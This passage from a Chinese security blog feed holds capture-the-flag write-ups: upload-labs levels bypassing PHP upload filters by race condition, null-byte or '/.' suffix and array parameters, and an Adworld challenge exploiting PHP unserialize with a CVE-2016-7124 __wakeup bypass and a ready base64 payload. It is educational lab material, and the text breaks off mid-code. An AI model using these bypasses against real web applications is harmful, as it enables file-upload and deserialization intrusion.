class="string">".rar"</span>, <span class="string">".7z"</span>,<span class="string">".ppt"</span>,</span><br><span class="line"> <span class="string">".html"</span>, <span class="string">".xml"</span>, <span class="string">".tiff"</span>, <span class="string">".jpeg"</span>, <span class="string">".png"</span> );</span><br><span class="line"></span><br><span class="line">......</span><br><span class="line">......</span><br><span class="line">...... </span><br><span class="line"> <span class="comment">/** upload()</span></span><br><span class="line"><span class="comment"> **</span></span><br><span class="line"><span class="comment"> ** Method to upload the file.</span></span><br><span class="line"><span class="comment"> ** This is the only method to call outside the class.</span></span><br><span class="line"><span class="comment"> ** <span class="doctag">@para</span> String name of directory we upload to</span></span><br><span class="line"><span class="comment"> ** <span class="doctag">@returns</span> void</span></span><br><span class="line"><span class="comment"> **/</span></span><br><span class="line"> <span class="function"><span class="keyword">function</span> <span class="title">upload</span>(<span class="params"> $dir </span>)</span>{</span><br><span class="line"> </span><br><span class="line"> $ret = <span class="keyword">$this</span>->isUploadedFile();</span><br><span class="line"> </span><br><span class="line"> <span class="keyword">if</span>( $ret != <span class="number">1</span> ){</span><br><span class="line"> <span class="keyword">return</span> <span class="keyword">$this</span>->resultUpload( $ret );</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> $ret = <span class="keyword">$this</span>->setDir( $dir );</span><br><span class="line"> <span class="keyword">if</span>( $ret != <span class="number">1</span> ){</span><br><span class="line"> <span class="keyword">return</span> <span class="keyword">$this</span>->resultUpload( $ret );</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> $ret = <span class="keyword">$this</span>->checkExtension();</span><br><span class="line"> <span class="keyword">if</span>( $ret != <span class="number">1</span> ){</span><br><span class="line"> <span class="keyword">return</span> <span class="keyword">$this</span>->resultUpload( $ret );</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> $ret = <span class="keyword">$this</span>->checkSize();</span><br><span class="line"> <span class="keyword">if</span>( $ret != <span class="number">1</span> ){</span><br><span class="line"> <span class="keyword">return</span> <span class="keyword">$this</span>->resultUpload( $ret ); </span><br><span class="line"> }</span><br><span class="line"> </span><br><span class="line"> <span class="comment">// if flag to check if the file exists is set to 1</span></span><br><span class="line"> </span><br><span class="line"> <span class="keyword">if</span>( <span class="keyword">$this</span>->cls_file_exists == <span class="number">1</span> ){</span><br><span class="line"> </span><br><span class="line"> $ret = <span class="keyword">$this</span>->checkFileExists();</span><br><span class="line"> <span class="keyword">if</span>( $ret != <span class="number">1</span> ){</span><br><span class="line"> <span class="keyword">return</span> <span class="keyword">$this</span>->resultUpload( $ret ); </span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="comment">// if we are here, we are ready to move the file to destination</span></span><br><span class="line"></span><br><span class="line"> $ret = <span class="keyword">$this</span>->move();</span><br><span class="line"> <span class="keyword">if</span>( $ret != <span class="number">1</span> ){</span><br><span class="line"> <span class="keyword">return</span> <span class="keyword">$this</span>->resultUpload( $ret ); </span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="comment">// check if we need to rename the file</span></span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span>( <span class="keyword">$this</span>->cls_rename_file == <span class="number">1</span> ){</span><br><span class="line"> $ret = <span class="keyword">$this</span>->renameFile();</span><br><span class="line"> <span class="keyword">if</span>( $ret != <span class="number">1</span> ){</span><br><span class="line"> <span class="keyword">return</span> <span class="keyword">$this</span>->resultUpload( $ret ); </span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> </span><br><span class="line"> <span class="comment">// if we are here, everything worked as planned :)</span></span><br><span class="line"></span><br><span class="line"> <span class="keyword">return</span> <span class="keyword">$this</span>->resultUpload( <span class="string">"SUCCESS"</span> );</span><br><span class="line"> </span><br><span class="line"> }</span><br><span class="line">......</span><br><span class="line">......</span><br><span class="line">...... </span><br><span class="line">};</span><br></pre></td></tr></table></figure><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20201103205839989.png" alt="image-20201103205839989"></p><p><code>move</code>文件在<code>rename</code>前面,利用条件竞争,上传图片马</p><h3 id="2-利用-15"><a href="#2-利用-15" class="headerlink" title="2. 利用"></a>2. 利用</h3><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20201103211045508.png" alt="image-20201103211045508"></p><p>无限重放,我这没跑出来😂</p><h2 id="Pass-19-or-0x00绕过"><a href="#Pass-19-or-0x00绕过" class="headerlink" title="Pass-19 /. or 0x00绕过"></a>Pass-19 /. or 0x00绕过</h2><h3 id="1-分析-12"><a href="#1-分析-12" class="headerlink" title="1. 分析"></a>1. 分析</h3><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line">$is_upload = <span class="literal">false</span>;</span><br><span class="line">$msg = <span class="literal">null</span>;</span><br><span class="line"><span class="keyword">if</span> (<span class="keyword">isset</span>($_POST[<span class="string">'submit'</span>])) {</span><br><span class="line"> <span class="keyword">if</span> (file_exists(UPLOAD_PATH)) {</span><br><span class="line"> $deny_ext = <span class="keyword">array</span>(<span class="string">"php"</span>,<span class="string">"php5"</span>,<span class="string">"php4"</span>,<span class="string">"php3"</span>,<span class="string">"php2"</span>,<span class="string">"html"</span>,<span class="string">"htm"</span>,<span class="string">"phtml"</span>,<span class="string">"pht"</span>,<span class="string">"jsp"</span>,<span class="string">"jspa"</span>,<span class="string">"jspx"</span>,<span class="string">"jsw"</span>,<span class="string">"jsv"</span>,<span class="string">"jspf"</span>,<span class="string">"jtml"</span>,<span class="string">"asp"</span>,<span class="string">"aspx"</span>,<span class="string">"asa"</span>,<span class="string">"asax"</span>,<span class="string">"ascx"</span>,<span class="string">"ashx"</span>,<span class="string">"asmx"</span>,<span class="string">"cer"</span>,<span class="string">"swf"</span>,<span class="string">"htaccess"</span>);</span><br><span class="line"></span><br><span class="line"> $file_name = $_POST[<span class="string">'save_name'</span>];</span><br><span class="line"> $file_ext = pathinfo($file_name,PATHINFO_EXTENSION);</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span>(!in_array($file_ext,$deny_ext)) {</span><br><span class="line"> $temp_file = $_FILES[<span class="string">'upload_file'</span>][<span class="string">'tmp_name'</span>];</span><br><span class="line"> $img_path = UPLOAD_PATH . <span class="string">'/'</span> .$file_name;</span><br><span class="line"> <span class="keyword">if</span> (move_uploaded_file($temp_file, $img_path)) { </span><br><span class="line"> $is_upload = <span class="literal">true</span>;</span><br><span class="line"> }<span class="keyword">else</span>{</span><br><span class="line"> $msg = <span class="string">'上传出错!'</span>;</span><br><span class="line"> }</span><br><span class="line"> }<span class="keyword">else</span>{</span><br><span class="line"> $msg = <span class="string">'禁止保存为该类型文件!'</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> $msg = UPLOAD_PATH . <span class="string">'文件夹不存在,请手工创建!'</span>;</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20201103211406134.png" alt="image-20201103211406134"></p><p>通过代码,发现<code>move_uploaded_file()</code>函数中的<code>img_path</code>是由post参数<code>save_name</code>控制的,因此可以在save_name利用00截断绕过。</p><p>当然,因为<code>move_uploaded_file</code>会忽略掉文件末尾的<code>/.</code>, 所以我们也可以用<code>/.</code>绕过</p><h3 id="2-利用-16"><a href="#2-利用-16" class="headerlink" title="2. 利用"></a>2. 利用</h3><p><code>/.</code>绕过</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20201103211835095.png" alt="image-20201103211835095"></p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20201103211918067.png" alt="image-20201103211918067"></p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20201103211938414.png" alt="image-20201103211938414"></p><h2 id="Pass-20-数组-绕过"><a href="#Pass-20-数组-绕过" class="headerlink" title="Pass-20 数组+/.绕过"></a>Pass-20 数组+/.绕过</h2><h3 id="1-代码分析-2"><a href="#1-代码分析-2" class="headerlink" title="1. 代码分析"></a>1. 代码分析</h3><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br></pre></td><td class="code"><pre><span class="line">$is_upload = <span class="literal">false</span>;</span><br><span class="line">$msg = <span class="literal">null</span>;</span><br><span class="line"><span class="keyword">if</span>(!<span class="keyword">empty</span>($_FILES[<span class="string">'upload_file'</span>])){</span><br><span class="line"> <span class="comment">//检查MIME</span></span><br><span class="line"> $allow_type = <span class="keyword">array</span>(<span class="string">'image/jpeg'</span>,<span class="string">'image/png'</span>,<span class="string">'image/gif'</span>);</span><br><span class="line"> <span class="keyword">if</span>(!in_array($_FILES[<span class="string">'upload_file'</span>][<span class="string">'type'</span>],$allow_type)){</span><br><span class="line"> $msg = <span class="string">"禁止上传该类型文件!"</span>;</span><br><span class="line"> }<span class="keyword">else</span>{</span><br><span class="line"> <span class="comment">//检查文件名</span></span><br><span class="line"> $file = <span class="keyword">empty</span>($_POST[<span class="string">'save_name'</span>]) ? $_FILES[<span class="string">'upload_file'</span>][<span class="string">'name'</span>] : $_POST[<span class="string">'save_name'</span>];</span><br><span class="line"> <span class="keyword">if</span> (!is_array($file)) {</span><br><span class="line"> $file = explode(<span class="string">'.'</span>, strtolower($file));</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> $ext = end($file);</span><br><span class="line"> $allow_suffix = <span class="keyword">array</span>(<span class="string">'jpg'</span>,<span class="string">'png'</span>,<span class="string">'gif'</span>);</span><br><span class="line"> <span class="keyword">if</span> (!in_array($ext, $allow_suffix)) {</span><br><span class="line"> $msg = <span class="string">"禁止上传该后缀文件!"</span>;</span><br><span class="line"> }<span class="keyword">else</span>{</span><br><span class="line"> $file_name = reset($file) . <span class="string">'.'</span> . $file[count($file) - <span class="number">1</span>];</span><br><span class="line"> $temp_file = $_FILES[<span class="string">'upload_file'</span>][<span class="string">'tmp_name'</span>];</span><br><span class="line"> $img_path = UPLOAD_PATH . <span class="string">'/'</span> .$file_name;</span><br><span class="line"> <span class="keyword">if</span> (move_uploaded_file($temp_file, $img_path)) {</span><br><span class="line"> $msg = <span class="string">"文件上传成功!"</span>;</span><br><span class="line"> $is_upload = <span class="literal">true</span>;</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> $msg = <span class="string">"文件上传失败!"</span>;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line">}<span class="keyword">else</span>{</span><br><span class="line"> $msg = <span class="string">"请选择要上传的文件!"</span>;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>第5行先检查MIME类型,然后判断save_name参数是否为空,为空就把文件本来名称赋值给<code>$file</code>,否则就是将<code>save_name</code>参数的值赋给它。紧接着判断<code>$file</code>是否是数组,如果不是数组则将其拆成数组,这里<code>explode</code> 根据<code>.</code>分割,返回值为数组</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20201103222435710.png" alt="image-20201103222435710"></p><blockquote><p>explode() 函数把字符串打散为数组</p><p>语法:explode(separator,string,limit)</p></blockquote><table><thead><tr><th align="left">参数</th><th align="left">描述</th></tr></thead><tbody><tr><td align="left"><em>separator</em></td><td align="left">必需。规定在哪里分割字符串。</td></tr><tr><td align="left"><em>string</em></td><td align="left">必需。要分割的字符串。</td></tr><tr><td align="left"><em>limit</em></td><td align="left">可选。规定所返回的数组元素的数目。可能的值:<br />大于 0 - 返回包含最多 <em>limit</em> 个元素的数组<br />小于 0 - 返回包含除了最后的 -<em>limit</em> 个元素以外的所有元素的数组<br />0 - 返回包含一个元素的数组</td></tr><tr><td align="left">返回值:</td><td align="left">返回字符串的数组</td></tr></tbody></table><p>数组最后一个的值(<code>end</code>函数就是取数组最后一个的值)同白名单做比较,符合jpg、png、gif中的一种就允许上传了</p><p> 在允许上传之后还要把数组的值拼接在一起对文件进行重命名。所以我们可以构造:</p><ul><li><code>save_name[0]=tao.php/</code></li><li><code>save_name[1]置为空</code></li><li><code>save_name[2]=jpg</code>(白名单后缀校验)</li></ul><blockquote><p><code>reset()</code> 函数将内部指针指向数组中的第一个元素,并输出</p></blockquote><p><code>reset($file)</code>取的是数组的第一个元素即<code>tao.php/</code>,然后接了一个’.’符号,之后又将数组最后一个元素内容拼接到一起</p><p>Q:可能有的人会疑问数组最后一个值不是jpg吗?</p><p>A:其实当我们只设置了两个数组元素的时候,数组的元素个数就只有两个了。原因如下图:</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20201103223547471.png" alt="image-20201103223547471"></p><p>之后第20对<code>$file_name</code>进行的拼接,因为<code>$save_name[2-1] = $save_name[1] =空</code>, 所以最后<code>$file_name</code>的值为<code>tao.php/.</code></p><p>那么最后利用原理就跟<code>Pass19</code>一样了,对于像<code>tao.php/.</code>这样的文件路径,<code>move_uploaded_file()</code>函数会忽略掉文件末尾的<code>/.</code>。如此一来上传的就是php文件后缀了</p><h3 id="2-利用-17"><a href="#2-利用-17" class="headerlink" title="2. 利用"></a>2. 利用</h3><p>burp抓包上传</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20201103224558867.png" alt="image-20201103224558867"></p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20201103224634474.png" alt="image-20201103224634474"></p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20201103224652060.png" alt="image-20201103224652060"></p>]]></content>
<summary type="html"><blockquote>
<p>说明:做题前先清空之前关卡上传的文件</p>
</blockquote>
<h2 id="Pass-01-js检查"><a href="#Pass-01-js检查" class="headerlink" title="Pass-01 js检查"><</summary>
<category term="web安全" scheme="https://taonn.github.io/categories/web%E5%AE%89%E5%85%A8/"/>
<category term="php安全" scheme="https://taonn.github.io/tags/php%E5%AE%89%E5%85%A8/"/>
</entry>
<entry>
<title>攻防世界-Web_php_unserialize Writeup</title>
<link href="https://taonn.github.io/2020/10/22/%E6%94%BB%E9%98%B2%E4%B8%96%E7%95%8C-Web-php-unserialize-Writeup/"/>
<id>https://taonn.github.io/2020/10/22/%E6%94%BB%E9%98%B2%E4%B8%96%E7%95%8C-Web-php-unserialize-Writeup/</id>
<published>2020-10-22T02:51:00.000Z</published>
<updated>2021-03-16T05:27:56.125Z</updated>
<content type="html"><![CDATA[<h2 id="题目"><a href="#题目" class="headerlink" title="题目"></a>题目</h2><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta"><?php</span> </span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Demo</span> </span>{ </span><br><span class="line"> <span class="keyword">private</span> $file = <span class="string">'index.php'</span>;</span><br><span class="line"> <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__construct</span>(<span class="params">$file</span>) </span>{ </span><br><span class="line"> <span class="keyword">$this</span>->file = $file; </span><br><span class="line"> }</span><br><span class="line"> <span class="function"><span class="keyword">function</span> <span class="title">__destruct</span>(<span class="params"></span>) </span>{ </span><br><span class="line"> <span class="keyword">echo</span> @highlight_file(<span class="keyword">$this</span>->file, <span class="literal">true</span>); </span><br><span class="line"> }</span><br><span class="line"> <span class="function"><span class="keyword">function</span> <span class="title">__wakeup</span>(<span class="params"></span>) </span>{ </span><br><span class="line"> <span class="keyword">if</span> (<span class="keyword">$this</span>->file != <span class="string">'index.php'</span>) { </span><br><span class="line"> <span class="comment">//the secret is in the fl4g.php</span></span><br><span class="line"> <span class="keyword">$this</span>->file = <span class="string">'index.php'</span>; </span><br><span class="line"> } </span><br><span class="line"> } </span><br><span class="line">}</span><br><span class="line"><span class="keyword">if</span> (<span class="keyword">isset</span>($_GET[<span class="string">'var'</span>])) { </span><br><span class="line"> $var = base64_decode($_GET[<span class="string">'var'</span>]); </span><br><span class="line"> <span class="keyword">if</span> (preg_match(<span class="string">'/[oc]:\d+:/i'</span>, $var)) { </span><br><span class="line"> <span class="keyword">die</span>(<span class="string">'stop hacking!'</span>); </span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> @unserialize($var); </span><br><span class="line"> } </span><br><span class="line">} <span class="keyword">else</span> { </span><br><span class="line"> highlight_file(<span class="string">"index.php"</span>); </span><br><span class="line">} </span><br><span class="line"><span class="meta">?></span></span><br></pre></td></tr></table></figure><h2 id="解题"><a href="#解题" class="headerlink" title="解题"></a>解题</h2><h3 id="代码分析"><a href="#代码分析" class="headerlink" title="代码分析"></a>代码分析</h3><p>代码是从17行开始执行的:</p><ol><li><p>首先判断是否存在<strong>GET</strong>参数<code>var</code>, 若存在则对其进行<code>Base64</code>解码后存入<code>$var</code>变量,若不存在,执行25行的代码,高亮输出当前页面的源码</p></li><li><p>解码后对<code>$var</code>进行一个正则的匹配,匹配到的话直接结束(<code>die</code>)并显示 <strong>stop hacking!**,如果没匹配到就</strong>反序列化**</p></li></ol><p>源代码中给出了<code>Demo</code>类,这里我们需要知道这<strong>三个魔术方法</strong>:</p><ul><li><p><code>__construct()</code>:php构造方法,具有构造方法的类会在<font color="red">每次创建新对象前调用此方法 </font>,该方法常用于完成一些初始化工作,</p></li><li><p><code>__destruct()</code>:php析构方法,当<font color="red"> <strong>某个对象的所有引用都被删除</strong> </font>或者 <font color="red"><strong>当对象被显式销毁</strong></font> 时,会执行此方法。</p></li><li><p><code>__wakeup()</code>:PHP反序列化时执行的第一个方法, <code>unserialize()</code>会先检查是否存在 <code>__wakeup()</code> 方法 , 若存在则会先调用该方法 , 来预先准备对象需要的资源( 比如重新建立数据库连接 , 执行其他初始化操作等等 )</p></li></ul><blockquote><p>更多有关PHP魔法方法的内容可以参考:<a href="https://www.php.net/manual/zh/language.oop5.magic.php">https://www.php.net/manual/zh/language.oop5.magic.php</a></p></blockquote><p>接下来分析<code>Demo</code>类,</p><ol><li>执行<code>__construct()</code>方法,将传入的 <code>$file</code> 赋值给本地的<strong>私有</strong>方法 <code>$file</code></li><li>销毁时执行 <code>__destruct()</code> 方法,高亮本地变量 <code>$file</code>所指向 文件的代码</li></ol><p>这里需要注意第12行的注释:</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//the secret is in the fl4g.php</span></span><br></pre></td></tr></table></figure><p>明示了我们flag在<code>fl4g.php</code>文件中</p><h3 id="序列化和反序列化"><a href="#序列化和反序列化" class="headerlink" title="序列化和反序列化"></a>序列化和反序列化</h3><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20201022095600381.png" alt="image-20201022095600381"></p><blockquote><p>更详细的说明,参考:<a href="https://www.cnblogs.com/youyoui/p/8610068.html">深度剖析PHP序列化和反序列化</a></p></blockquote><h3 id="解题思路"><a href="#解题思路" class="headerlink" title="解题思路"></a>解题思路</h3><p>我们需要注意两个点,上面的代码是从17行开始执行的,而且<code>unserialize()</code>方法的参数来源与GET请求,请求值经过了<code>base64</code> 和 正则匹配, 主要的是<font color="red">参数是可控的(对与我们来说)</font></p><p>还有一个要注意的点就是<code>__wakeup()</code>方法,因为我们的flag在<code>fl4g.php</code>文件中,所以我们需要绕过<code>__wakeup()</code>函数,这里就可以利用<code>CVE-2016-7124</code>的漏洞:<font color="red">即当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过<code>__wakeup</code>的执行</font></p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">preg_match(<span class="string">'/[oc]:\d+:/i'</span>, $var)</span><br></pre></td></tr></table></figure><p>还有一点说明,就是这里正则匹配的规则是: <strong>在不区分大小写的情况下 , 若字符串出现 “o:数字” 或者 “c:数字’ 这样的格式 , 那么就被过滤</strong> . 而<code>serialize()</code> 的参数为 object ,因此参数类型肯定为对象 “ O “ , 又因为序列化字符串的格式为 <code>参数格式:参数名长度</code> , 因此 <code>" O:4 "</code> 这样的字符串肯定无法通过正则匹配</p><p>绕过正则的匹配,我们可以在<code>4</code>加上<code>+</code>来绕过,因为在 php 语法中,<code>+4</code> = <code>4</code></p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta"><?php</span></span><br><span class="line"> <span class="keyword">echo</span> <span class="number">4</span>;</span><br><span class="line"> <span class="keyword">echo</span> <span class="string">'<br>'</span>;</span><br><span class="line"> <span class="keyword">echo</span> +<span class="number">4</span>;</span><br><span class="line"> <span class="keyword">echo</span> <span class="string">'<br>'</span>;</span><br><span class="line"> <span class="keyword">echo</span> <span class="number">-4</span>;</span><br><span class="line"><span class="meta">?></span></span><br></pre></td></tr></table></figure><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20201022101504648.png" alt="image-20201022101504648"></p><blockquote><p>更深入的了解可以参考:<a href="https://www.phpbug.cn/archives/32.html">php反序列unserialize的一个小特性</a></p></blockquote><p>绕过<code>__wakeup()</code>,这里就可以利用<code>CVE-2016-7124</code>的漏洞:<font color="red">即当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过<code>__wakeup</code>的执行</font></p><h2 id="构造pyload"><a href="#构造pyload" class="headerlink" title="构造pyload"></a>构造pyload</h2><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20201022101902130.png" alt="image-20201022101902130"></p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta"><?php</span></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Demo</span> </span>{ </span><br><span class="line"> <span class="keyword">private</span> $file = <span class="string">'index.php'</span>;</span><br><span class="line"> <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__construct</span>(<span class="params">$file</span>) </span>{ </span><br><span class="line"> <span class="keyword">$this</span>->file = $file; </span><br><span class="line"> }</span><br><span class="line"> <span class="function"><span class="keyword">function</span> <span class="title">__destruct</span>(<span class="params"></span>) </span>{ </span><br><span class="line"> <span class="keyword">echo</span> @highlight_file(<span class="keyword">$this</span>->file, <span class="literal">true</span>); </span><br><span class="line"> }</span><br><span class="line"> <span class="function"><span class="keyword">function</span> <span class="title">__wakeup</span>(<span class="params"></span>) </span>{ </span><br><span class="line"> <span class="keyword">if</span> (<span class="keyword">$this</span>->file != <span class="string">'index.php'</span>) { </span><br><span class="line"> <span class="comment">//the secret is in the fl4g.php</span></span><br><span class="line"> <span class="keyword">$this</span>->file = <span class="string">'index.php'</span>; </span><br><span class="line"> } </span><br><span class="line"> } </span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">$t = <span class="keyword">new</span> Demo(<span class="string">'fl4g.php'</span>);</span><br><span class="line">$b = serialize($t);</span><br><span class="line"><span class="keyword">echo</span> $b.<span class="string">'<br />'</span>; <span class="comment">// O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}</span></span><br><span class="line"></span><br><span class="line">$b = str_replace(<span class="string">'O:4'</span>, <span class="string">'O:+4'</span>, $b); <span class="comment">//绕过preg_match</span></span><br><span class="line">$b = str_replace(<span class="string">':1:'</span>, <span class="string">':2:'</span>, $b); <span class="comment">//绕过__wakeup</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">echo</span> $b.<span class="string">'<br />'</span>; <span class="comment">// O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}</span></span><br><span class="line"><span class="keyword">echo</span> base64_encode($b);</span><br><span class="line"><span class="meta">?></span></span><br></pre></td></tr></table></figure><p>上面的代码为什么用<code>str_replace()</code>替换,而不是直接复制粘贴,然后编码呢? 这就涉及到私有属性序列化以后,会产生<code>%00</code>的问题,后面详细分析, 我们通过思路,构造payload如下:</p><p><code>?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==</code></p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20201022102111486.png" alt="image-20201022102111486"></p><p><strong>解释一下上面的问题</strong></p><p><code>Demo</code>类序列化的结果如下:</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">O:4:<span class="string">"Demo"</span>:1:{s:10:<span class="string">"Demofile"</span>;s:8:<span class="string">"fl4g.php"</span>;}</span><br></pre></td></tr></table></figure><p>注意<code>s:10:"Demofile"</code>, 明明<code>Demofile</code>是8个字符, 为什么这里显示s:10呢?</p><p>为了更清晰的显示为什么,我们用<code>urlencode()</code>打印上面的值</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20201022102906234.png" alt="image-20201022102906234"></p><p>这里<code>s:10</code>, 就是因为这里两个<code>%00</code>导致的。</p><p>这里为什么要说这个?<code>%00</code>有什么影响嘛?</p><p><font color="red">这里的坑就在</font>:如果我们直接复制文本进行base64编码,会丢失<code>%00</code>, 再 <code>解码->反序列化</code> 自然与我之前序列化的 Demo <code>不相同</code></p><p>对于这里,解决方法就是,使用<code>str_replace</code>替换, 我们通过对比,来观察一下他们有什么不同:</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta"><?php</span></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Demo</span> </span>{ </span><br><span class="line"> <span class="keyword">private</span> $file = <span class="string">'index.php'</span>;</span><br><span class="line"> <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__construct</span>(<span class="params">$file</span>) </span>{ </span><br><span class="line"> <span class="keyword">$this</span>->file = $file; </span><br><span class="line"> }</span><br><span class="line"> <span class="function"><span class="keyword">function</span> <span class="title">__destruct</span>(<span class="params"></span>) </span>{ </span><br><span class="line"> <span class="keyword">echo</span> @highlight_file(<span class="keyword">$this</span>->file, <span class="literal">true</span>); </span><br><span class="line"> }</span><br><span class="line"> <span class="function"><span class="keyword">function</span> <span class="title">__wakeup</span>(<span class="params"></span>) </span>{ </span><br><span class="line"> <span class="keyword">if</span> (<span class="keyword">$this</span>->file != <span class="string">'index.php'</span>) { </span><br><span class="line"> <span class="comment">//the secret is in the fl4g.php</span></span><br><span class="line"> <span class="keyword">$this</span>->file = <span class="string">'index.php'</span>; </span><br><span class="line"> } </span><br><span class="line"> } </span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">$t = <span class="keyword">new</span> Demo(<span class="string">'fl4g.php'</span>);</span><br><span class="line">$b = serialize($t);</span><br><span class="line"><span class="keyword">echo</span> $b.<span class="string">'<br />'</span>; <span class="comment">// 